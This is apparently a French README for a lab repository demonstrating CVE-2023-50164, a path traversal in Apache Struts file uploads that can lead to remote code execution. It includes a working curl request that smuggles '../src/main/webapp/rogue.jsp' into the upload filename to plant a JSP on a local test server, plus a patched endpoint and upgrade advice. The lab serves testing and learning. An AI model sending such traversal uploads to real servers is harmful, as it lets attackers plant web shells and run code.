
Preuve de concept d'exploitation pour CVE-2023-50164, une vulnérabilité de traversée de chemin dans Apache Struts menant à une exécution de code à distance. Inclut des environnements de démonstration vulnérables et corrigés pour tester et apprendre.
Ceci est une Preuve de Concept (PoC) pour CVE-2023-50164, qui décrit une nouvelle vulnérabilité de traversée de chemin pouvant conduire à une exécution de code à distance (RCE) dans struts-core.
Pour remédier à ce problème, il est conseillé de mettre à jour vers Struts 2.5.33 ou Struts 6.3.0.2 ou supérieur.
Ce dépôt s'appuie sur l'excellent travail de Henrik Plate trouvé ici.
Il y a deux profils maven dans ce projet : vuln et no-vuln. vuln est le profil par défaut.
Pour exécuter avec la vulnérabilité RCE, exécutez la commande suivante :
mvn clean jetty:run -P vuln
Pour exécuter sans la vulnérabilité RCE, exécutez la commande suivante :
mvn clean jetty:run -P no-vuln
La différence entre les deux profils est que vuln utilise la version 6.3.0.1 de (qui possède la vulnérabilité de traversée de chemin) et utilise la version de (qui ne possède pas la vulnérabilité de traversée de chemin)
struts-coreno-vuln6.3.0.2struts-corePendant que vous exécutez le profil vuln décrit ci-dessus, exécutez la commande suivante :
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
Vous pourrez voir le fichier rogue.jsp dans le dossier src/main/webapp et vous pourrez y accéder via : http://localhost:9999/struts-vuln-poc/rogue.jsp (vous verrez un message Vous avez été PWNED !).
Il existe une solution de correction de code qui fonctionne avec les anciennes versions de Struts, mais, il est toujours fortement conseillé de mettre à jour votre version de Struts.
Pour tester la correction de code, exécutez la commande suivante :
curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
Vous verrez un message d'erreur : Attempted path traversal attack
REMARQUE : Si vous utilisez le profil no-vuln, vous n'obtiendrez pas de message d'erreur de la part du point de terminaison /upload-no-vuln, même si vous utilisez un chemin relatif comme : ../src/main/webapp/rogue.jsp, car la nouvelle version de Struts supprime automatiquement les références aux chemins relatifs.